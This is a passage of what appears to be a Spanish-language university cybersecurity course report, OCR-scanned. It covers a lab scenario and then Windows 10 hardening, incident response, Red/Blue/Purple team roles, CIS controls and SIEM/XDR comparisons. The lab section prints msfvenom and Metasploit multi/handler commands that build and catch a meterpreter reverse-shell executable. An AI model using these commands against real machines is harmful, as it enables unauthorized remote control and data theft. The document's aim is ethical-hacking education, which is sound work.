El payload que se utilizé para el laboratorio fue uno que me permitié obtener informacion
confidencial en la maquina Windows y su control total remotamente.

[*] Meterpreter sesion 1 opened (192.168.1.13:443 ->192.168.1.7: 52320) at 2024-
03-11 18:54:21 -0400

5.1.5 Explicacion con mis palabras como afecta el ataque a un sistema Windows,
utilice gréficos

Teniendo en cuenta los pasos realizados en este taller, se comprueba el acceso no
autorizado a un sistema Windows donde me permite realizar eliminacion de archivosy
demas ejecuciones, sabemos que las vulnerabilidades son fallos o bugs que ponen en
riesgo en este caso una maquina débil sin proteccion de antivirus y firewall, este método
realizado en este taller es utilizado por los ciberdelincuentes para infiltrarse con este
meétodo en un sistema que para la victima es inconsciente ya que ejecuto un archivo que
no sabia que era un virus o troyano el cual me permitia tener conexidon no autorizada a
Su maquina, este taller me parecié muy interesante porque gracias a estas pruebas de
hacking ético ponen en prueba un sistema de informacién que puede estar en riesgo por
personal que no tenga actualizado sus sistemas de informacién
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Figura 26 Graficos - Pasos que se siguieron para la explotacién de lavulnerabilidad
en la maquina Windows

Escritorio Windows vulnerado

Atacante

Explotacion de
Vulnerabilidad

Servidor Linux

@metasploit

Windows10 Antlvirus + Flrowall

Pruehas de Metasploi Victima Sistemas desactivados

Fuente: Elaboracién propia
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5.1.6 Comandos utilizados durante el escenario:

msfvenom -p Windows/x64/meterpreter/reverse_tcp --platform Windows -a x64
LHOST=192.168.1.13 LPORT=443 -f exe >> /home/Kali/PoC_1073695428.exe
Explicacion del comando: Gracias a esta herramienta me permitié generar elarchivo
PoC_1073695428.exe para hacer uso de este exploit en la maquinaWindows y lograr
vulnerar su informacion gracias a un payload por medio de unaShell reversa

Msfconsole: En el escenario me permiti6 activar esta herramienta para ejecutar
comandos tipo Shell o bash y generar funcionalidades de Metasploit para escaneary
lanzar el ataque al sistema Windows

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
Explicacion del comando: Este comando me permite escoger el payload

msf6 exploit(multi/handler) > set payload Windows/x64/meterpreter/reverse_tcp payload
=> Windows/x64/meterpreter/reverse_tcp

Explicacion del comando: seteamos el payload seleccionado, en este caso
Windows/x64/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set Ihost 192.168.1.13 lhost => 192.168.1.13
Explicacién del comando: Seteamos el host local, en este caso la ip de la maquina Kali-
Linux

msf6 exploit(multi/handler) > set Iport 443 Iport => 443
Explicacion del comando: Seteamos el puerto a utilizar en el exploit, en este caso
utilizaremos el puerto 443

msf6 exploit(multi/handler) > exploit

[*] Meterpreter sesion 1 opened (192.168.1.13:443 -> 192.168.1.7: 52320) at 2024-
03-11 18:54:21 -0400

Explicacion del comando: Ejecucién del exploit, explotacion de vulnerabilidades, para
este caso logra la intervencién del servidor Windows llevando a cabo el objetivo de borrar
el archivo Yulver_Arias_ 202337164 17 Marzo_2024.txt
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6 ESCENARIO 4

6.1 Evidencias sobre una guia de hardenizacion sobre la maquina Windows 10

Guia hardenizacion para el sistema operativo Windows 10:

Enable en Windows Defender (antivirus y firewall) como medidas de seguridad.
Reforzar las politicas de contrasefias para los usuarios creados en el sistema
operativo y asi mismo eliminar las cuentas innecesarias

Actualizaciones del sistema operativo para remediacion de vulnerabilidades y
paquetes actualizados.

Evitar instalar software malicioso

Configurar privilegios o roles de un superusuario y administrador del sistema
Auditoria periédica en la red

Bloquear los puertos de red que no se utilizan

Registrar toda actividad sospechosa como errores y las advertencias
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6.1.2 Evidencias del Aseguramiento en el servidor Windows 10

Figura 27 Habilitacion del antivirus
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& @ proteccion en tiempo real esta desactivada, Io que pone en riesgo

el dispositivo.

@ ) Desactivado

Proteccion basada en la nube
Proporciona una proteccién mayor y mas réapida con acceso a los datos

proteccion mas recientes en |la nube. Funciona mejor cuando el envio
automatico de muestras esti activado.
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Fuente: Elaboracion propia

W Seguridad de Windows

Proteccién contra virus y amenazas

Activar proteccién antivirus

La proteccion antivirus esta desactivada. Pulsa o
haz clic para activar Antivirus de Microsoft
Defender.

= % < = O
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~ 8 & m— T a) Ese 25/03/2024

=

Nota: Se evidencia que la proteccion sobre amenazas en tiempo real esta desactivada

ya que en el banco de trabajo configurado en la etapa anterior era necesaria bajar la

seguridad de la maquina
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Figura 28 Confirmacion en la proteccion del antivirus
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Fuente: Elaboracion propia
Nota: Se evidencia en la imagen la correcta activacion del antivirus para detectar

cualquier malware que localice el sistema.

Figura 3 — Actualizaciones disponibles con Windows update
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Fuente: Elaboracion propia

Nota: Se evidencia que el sistema operativo cuenta con actualizaciones disponibles
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Figura 29 Aplicando actualizaciones de Windows update
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Figura 30 Continuidad sobre la actualizacion
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48



Figura 31 Finalizacion sobre la actualizacion exitosa de Windows Update
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Fuente: Elaboracion propia
Nota: En las imagenes anteriores se observa todo el proceso que se aplico para realizar

de manera exitosa las actualizaciones de Windows.

Figura 32 Proteccion con Firewall de Windows Defender
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Fuente: Elaboracion propia
Nota: Se observa que el firewall de Windows se encuentra desactivado para las pruebas

anteriores.
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Figura 33 Habilitando el Firewall de Windows Defender
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Figura 34 habilitacion exitosa del Firewall Windows Update
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Fuente: Elaboracion propia
Nota: Se evidencia la correcta habilitacion del Firewall de Windows, esto nos permitira a

proteger nuestras redes y a bloquear cualquier trafico entrante sospechoso.
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Figura 35 Control de aplicaciones y navegador de Windows desactivado
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Fuente: Elaboracion propia

Figura 36 Habilitando el control de aplicaciones y navegador de Windows
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Figura 37 Activacion sobre la proteccion de aplicaciones
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Figura 38 Configuracion de control de cuentas de usuario
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Fuente: Elaboracion propia
Nota: Muy interesante esta caracteristica de seguridad de Windows la cual esta disefiada
para la proteccion del sistema operativo frente a cambios no autorizados en usuarios

locales.

Figura 39 Resultado Final

Seguridad de Windows

=’

Proteccion contra virus y
amen
Mo se reguiere nin guna accion.

>

Control de aplicaciones y
explorador
No se reguiere nin guna accion.

sk

Opciones de familia
Administra la forma en gue tu
familia usa los dispositivos.

PrL =

o

Proteccion de cuentas
No se requiere ninguna accién.

=

Seguridad del dispositivo
Ver el estado y administrar las
caracteristicas de seguridad de
harchware

QP

Firewall y proteccion de red
Mo se requiere ninguna accién

<>

Rendimiento y estado del
dispositivo
Mo se reguiere nin guna accién

. = 11:17 p. m.
11°C A D R WD ) A9) ESP 5 TEiETas %

Fuente: Elaboracion propia
Nota: Se observa la correcta habilitacion de todas las funciones de seguridad que nos
ofrece Windows 10 con el fin de robustecer nuestra seguridad informatica.
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6.1.3 Reaccion ante un ataque cibernético

Teniendo en cuenta mi experiencia en el trabajo cuando hay un ataque cibernético, el
plan de respuesta ante un incidente cibernético son los siguientes las cuales permiten
actuar de forma eficaz para minimizar el impacto del negocio y recuperar de manera agil

el servidor afectado.

A. ldentificar el ataque: identificar la fuente del ataque, en nuestro caso aislamos los
servidores de la red para evitar que se propague el ataque, esto de cierta forma evita a
que el virus o malware se propague por toda la red y ponga en riesgo informacion
sensible, se puede ir aplicando una herramienta de analisis forense para ir investigando

las causas del ciberataque.

B. Reportar Incidente a las areas de infraestructura: Es muy importante reportar al equipo
de seguridad Tl y a las areas de infraestructura sobre el ataque recibido para tomar
medidas para mitigar el dafio, esta notificacion no solamente ayuda a proteger la
infraestructura si no también hace que los equipos de seguridad, sistemas operativos,

redes, etc., cumplan con los requisitos para cerrar las brechas de seguridad del proyecto.

C. Restaurar las copias de seguridad o backups teniendo en cuenta que el servidor esta
comprometido y puede afectar su existencia en el negocio, por esto es importante validar

gue los backups no estén comprometidos con el ataque.

D. Recopilacion de logs, eventos o evidencias: Es importante comprender qué tipo de
ataque es el que se realizé y a su vez tomar medidas apropiadas para remediar la
explotacion de vulnerabilidades, tomar capturas de logs, eventos, registros 0 mensajes
sospechosos que se recibieron durante la hora del ataque, este levantamiento de

informacion es importante para investigar una vez se recupere el servicio.
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E. Rastreo de activos maliciosos: Rastrear por medio de un Endpoint Security los virus o

amenazas para evitar que los recursos se reinfecten o incurran a un nuevo ataque.

F. Remediacién y Preservacion del servicio: En este caso es fundamental preservar el
servicio con medidas de proteccién y mitigacion de cualquier vulnerabilidad presente,

aplica en este caso la actualizacion del sistema operativo, parches de seguridad, etc.

G. Recuperar la tranquilidad del negocio: Es importante notificar a los usuarios vy
operaciones la funcionalidad de los sistemas, en nuestro caso aplica la auditoria de los

servicios implicados.

6.1.4 Paso a paso para subsanar el incidente con el payload

A continuacién, se listaran las pruebas realizadas y buenas practicas de seguridad
informatica para evitar nuevamente la explotacion de la vulnerabilidad con el payload

utilizado desde la maquina maquina Linux hacia la maquina victima Windows 10.

Pruebas técnicas:

A. Activacion del antivirus Microsoft Defender, cuyo propdésito es buscar y prevenir

posibles amenazas como virus, malware o software malicioso de nuestro sistema.

B. Activacion del firewall de Windows: Se activa este complemento el cual me ayuda a
proteger las redes del acceso no autorizado y contar asi mismo con un servicio de internet

con proteccion.
Recomendaciones para evitar la explotacion de vulnerabilidades:

No descargar ningun tipo de software malicioso que ponga en riesgo la integridad de

nuestro servidor o servicio.
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C. Evitar seguir instrucciones de correos mal intencionados los cuales desconocemos

sus intenciones.

D. Robustecer los planes de monitoreo sobre los componentes del servidor con el fin de

analizar sus posibles amenazas, riesgos y afectaciones.

E. Mantener capacitado al personal de seguridad y dreas comprometidas sobre buenas

practicas de ciberseguridad o seguridad de la informacion.

6.1.5 Diferencias entre los equipos Blue Team, Red Team y Purple Team

Los equipos de Red Team y los Blue Team trabajan para un mismo fin jproteger la
informacion de una empresaj, entran en un periodo de andlisis para detectar
vulnerabilidades y asi mismo prevenirlas emulando escenarios sobre amenazas, sin
embargo, se afiade otro equipo que fortalece la seguridad que es el Purple team, a
continuacion, describiré las diferencias que cada grupo cuenta y la importante
actualizacion sobre la respuesta de incidentes.

Red Team:

El Equipo Rojo desempefia una funcién de seguridad agresiva dentro de la organizacion,
este equipo rojo simula las aplicaciones, tacticas y procedimientos (TTP) de un atacante
real para analizar vulnerabilidades, explotarlas y obtener acceso a la informacion. El
equipo rojo esta formado por probadores de penetracion (hackers). EI Equipo Rojo
proporciona a las organizaciones notificaciones sobre vulnerabilidades identificadas. Los
miembros del Red Team suelen tener certificaciones de ciberseguridad centradas en

pruebas de penetracion.
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Red Team:

El equipo azul demuestra medidas de seguridad defensivas en la organizacion, utilizar
aplicaciones sofisticadas como la mas conocida SIEM, el cual nos brinda un sistema de
prevencion de intrusiones, proteccion de terminales y la prevencion de perdida de
informacion, este equipo tiene una alta gama de ingenieros capacitados ante ataques

cibernéticos y pronta respuesta de incidentes.

Purple Team:

Este equipo es la consolidacion del esfuerzo entregado por los otros 2 equipos, Blue team
y Red team, es la mezcla de responsabilidades integradas con un solo fin de proteger la

informacion y trabajan en conjunto para estar pendiente de cualquier incidente de

seguridad, siempre buscando la efectividad de los equipos de blue team y red team.
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Figura 40 Diferlencias entre los 3 Equipos “Red team, Blue Team y Purple Team”
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1 Sternstein Jon, [Sitio Web].SternSecurity.[13 De septiembre De 2023]. Disponible en
https://www.sternsecurity.com/blog/red-team-vs-blue-team-vs-purple-team-cybersecurity-
roles/#:~:text=S0%20what%20is%20the%20difference,Red%20Team%20and%20Blue%20Team
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6.1.6 Que funcidn tiene el CIS en la red BlueTeam

CIS es una herramienta poderosa que reune una serie de estandares de seguridad el
cual garantiza la tranquilidad en las compafias junto a los equipos de Red team y blue
team, este beneficio que entregan los CIS es una variedad de software y politicas para
configurar de manera adecuada los entornos de trabajo y herramientas de la

organizacion.

Asi mimo esta plataforma ofrece descargar las configuraciones mas seguras con el fin de
hacer un proceso de hardening como una defensa poderosa en un sistema alto critico,
ahora bien hoy en dia se manejan los software que nos permitan automatizar procesos
en los trabajos diarios, esta plataforma también entrega estos software que nos permiten
equilibrar las cargas de trabajo aplicando las mejores practicas de seguridad como
actualizando parches de seguridad y aplicando politicas que son el mejor método para

garantizar el cumplimiento de las mismas.

6.1.7 Tutorial sobre la funcién de CIS:

Protecciones para el correo electrénico y el navegador web: minimiza un ataque y a través

navegadores y correo electronico.

Defensas contra malware: Optimizan el uso de la automatizacion para habilitar una

actualizacion rapida de la defensa y recopilacion de datos para una accion correctiva.

Limitacion y control de puertos, protocolos y servicios de red: Este control debe de

realizarse para la gestion de puertos, protocolos y servicios de red.

Capacidades de recuperacion de datos: Descubrir el atacante y lograr eliminar cualquier

hallazgo encontrado del atacante.
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Configuracion segura para los dispositivos de red: Configurar de manera adecuada la

configuracion de los dispositivos de infraestructura.

Seguridad perimetral: Habilitar los controles de defensa que detectan, previenen y

corrigen el trafico de datos que recibe el servidor para captar sus intenciones.

Proteccion de datos: Son controles para mitigar los efectos de los datos sospechosos
garantizando la disponibilidad del servicio.

Control de acceso: Implementacion de todo punto de control entre las organizaciones

Control de acceso inalambrico: Controlar, prevenir y corregir el uso seguro de redes.
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6.1.8 Tabla 1 Diferencias entre las herramientas SIEM y XDR

cumplimiento, contencion
y la elaboracion de

informes.

DIFERENCIAS SIEM XDR
Funciones Recopilar datos, alertas y | Ofrece una alternativa a
registros para mudltiples | los enfoques reactivos
soluciones que exigen las | tradicionales que brindan
empresas. visibilidad en capas de los
ataques, como el EDR, el
NDR
Desventajas No incluye ningun andlisis | Adaptaciones sobre las
0 automatizaciones capacidades que esta
herramienta ofrece a los
operadores
Ventajas Logra capacidades | Incorpora la funcionalidad
centralizadas para una |del EDR y MDR que
gestion y analisis de | forma una solucién para
registros en una | una mayor deteccion y
empresa. respuesta de las mismas.
Objetivos supervision del | Identificar, investigar y

tomar las medidas
adecuadas para resolver
los incidentes en una

empresa sobre seguridad

Almacenamiento

Almacén central para una
empresa |y  permite
almacenamiento a largo

plazo.

Accede a los datos o
fuentes la cual almacena
temporalmente una unica

vez.

Capacidades

respuesta

de

Herramienta sofisticada

gque la mayoria de

Amplias capacidades

para coordinar esfuerzos
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empresas las estan
obteniendo por ser alta

gama en seguridad vy

respuesta de incidentes

Fuente: Elaboracion Propia

6.1.9 Mencionar 3 herramientas para deteccion de ataques informaticos

CrowdStrike Falcon: Esta herramienta me gusta ya que se esta implementando en la
empresa donde trabajo, es un antivirus instalado en todas las plataformas Unix y
Windows el cual me ofrece la proteccion de las infraestructuras, prevenciéon de ataques

en tiempo real.

Herramientas EDR: Analiza la actividad del endpoint detectando anomalias en tiempo

real y lograr la actuacion de forma inmediata en corporaciones de red.

Otro punto fuerte sobre los EDR es que nos permite un analisis forense y alertas
dedicadas al riesgo del negocio, brindando tranquilidad en el acceso adecuado en los

administradores de red.

Snort: Rastrea los paquetes o registros examinando alrededor de la red utilizando
sistemas de intrusos para encontrar aguellas amenazas, asi mismo captura todo el trafico

de red entregando un analisis muy completo de sus resultados.
Bitdefender: Su objetivo es minimizar los ataques en las terminales de red lo que dificulta

al atacante continuar con su plan de explotacion, ofrece analisis de riesgos para el usuario

final.
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7 ESCENARIO S5

7.1 Aporte de los equipos Red Team, Blue Team y Purple Team en el campo de la
ciberseguridad

Blue Team:

Equipo robusto encargado de realizar constantes monitoreos sobre las plataformas asociadas a
la infraestructura y controles de seguridad para la proteccion de la informacién, asi mismo
desarrolla una importante labor que es realizar un analisis forense ante un evento o incidente de
seguridad que afecta la operacion de produccion, este equipo aporte de manera significativa al
equipo del soc o ciberseguridad ya que cuenta con herramientas sofisticadas para proteger el
negocio del cliente.

Red Team:

A diferencia del equipo Blue Team, este equipo rojo se enfoca en emular los ataques en forma
real o en vivo ante una organizacion, asi mismo pone en prueba la deteccién de
vulnerabilidades, por ende, este equipo es valioso en la ciberseguridad ya que nos genera un
aporte de ingenieria social con las pruebas de deteccion de eventos 0 amenazas.

Purple Team:

Es simplemente la mezcla de los dos equipos que acabamos de hablar “Blue Team y Red
Team” , consta de un pequefio equipo de ciberseguridad que nos permite conformar ingenieros
especializados para robustecer los de todos los equipos de trabajo facilitando el desarrollo de
sus objetivos

7.1.2 Planteamiento de politicas y recomendaciones para mejorar la ciberseguridad

Ante las buenas practicas se recomiendan las siguientes politicas que me mantienen la
infraestructura segura ante un ataque cibernetico

e Politica en la proteccion de los datos : Es un proceso legal el cual debe de cumplir todo
integrante en el area de sistemas , alli van registradas las normas legales, normativas y
demas procesos que se requieren ser cumplidos

e Politicas en las contrasefas: Registrar ante una aplicacion o dominio de un servidor, una
contrasefia fuerte en sus caracteres como letras, nimeros, simbolos y caracteres
especiales.
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o Politica de actualizaciones: Es de vital importancia contar con las actualizaciones
automaticas para contar con un servidor actualizado y me logre remediar con parches de
seguridad las vulnerabilidades asociadas a los sistemas de informacion.

e Politicas de copias de seguridad : Este punto es mas importante que todos, el proyecto
debe de contar con un agente de backups que me logre copiar la data de un servidor en
cinta o en un almacenamiento para contar con algun respaldo de informacion.

7.1.3 Conclusiones importantes para invertir en la ciberseguridad

Siempre sera importante invertir en la ciberseguridad para una empresa con el fin de cuidar
nuestros activos de un secuestro de informacioén o tal vez un ataque cibernético, por ende nos
formamos como especialistas para conformar un equipo Red Team y Blue Team con el fin de
contar con las mejores herramientas de testing , tacticas de ingeniera social y demas enfoques
valiosos que realiza la ciberseguridad ante una organizacion, banco o empresa.

Sabemos bien que los ataques a empresas con baja seguridad informatica son mayores y las
estadisticas informan gue son porgue sus equipos ho cuenta con las suficientes herramientas
de proteccion ante estos ataques, por ende aportar de manera significativa en la ciberseguridad
sera un buen negocio de manera profesional y ante la empresa en la que se labora, invertir en
nuevas infraestructuras, herramientas de pentesting, especialistas en seguridad informatica que
nos permitan con herramientas o agentes las vulnerabilidades y evidencias de aseguramiento
inferior al 70%, gracias a estas practicas y demas procesos que nos conlleva a una seguridad
optima podemos garantizar la tranquilidad a nuestro cliente.

La alta gerencia o direccién general siempre estara dispuesta en invertir en la ciberseguridad
como un equipo de ingenieros y especialistas en un solo enfoque que es cuidar los activos de la
empresa con las mejores herramientas, analisis forense y demas aptitudes que permitan contar
con la mayor proteccién vigente o actualizada posible en procesos de ciberseguridad.
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CONCLUSIONES

Gracias a este trabajo final que consta del resultado de muchas experiencias y
conocimientos aprendidos durante toda la etapa de la especializacion, nos sentimos
orgullosos de comprender cada concepto, practica de laboratorio, instalacion de un
banco de trabajo y aplicacién de buenas practicas, sentimos una grande
responsabilidad de robustecer cada vez a nuestros sistemas y protegerlos como un
valor importante en la compaifiia con el fin de garantizar la tranquilidad del negocio,
siempre sera importante resaltar en la compafia donde trabajemos los resultados

obtenidos en esta especializaciébn como base fundamental en la ciberseguridad.

También vale la pena resaltar el trabajo arduo que debe de realizar los equipos Red
Team, Blue Team y Purple Team las cuales nos entrega una respuesta inmediata sobre
incidentes de seguridad y prevencion al maximo en las aplicaciones que tenemos
instaladas, estos métodos siempre serén utilizados en nuestra vida laboral para reducir
cualquier tipo de ataque en la infraestructura tecnoldgica incluyendo la administracion de

seguridad a nivel de software y hardware.
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RECOMENDACIONES

Invitamos a todos los compafieros a la innovacion que nos entrega la tecnologia hoy en
dia con base a la amplia variedad de nuevas oportunidades y crecimiento profesional en
las empresas de infraestructura, asi mismo en continuar con las pruebas de laboratorio

con el fin de avanzar en nuestra carrera como especialistas en seguridad informatica.

Aplicar en ofertas de trabajo con base a la especializacion en seguridad informatica para

iniciar con la experiencia que llevara nuestro camino a la excelencia profesional.
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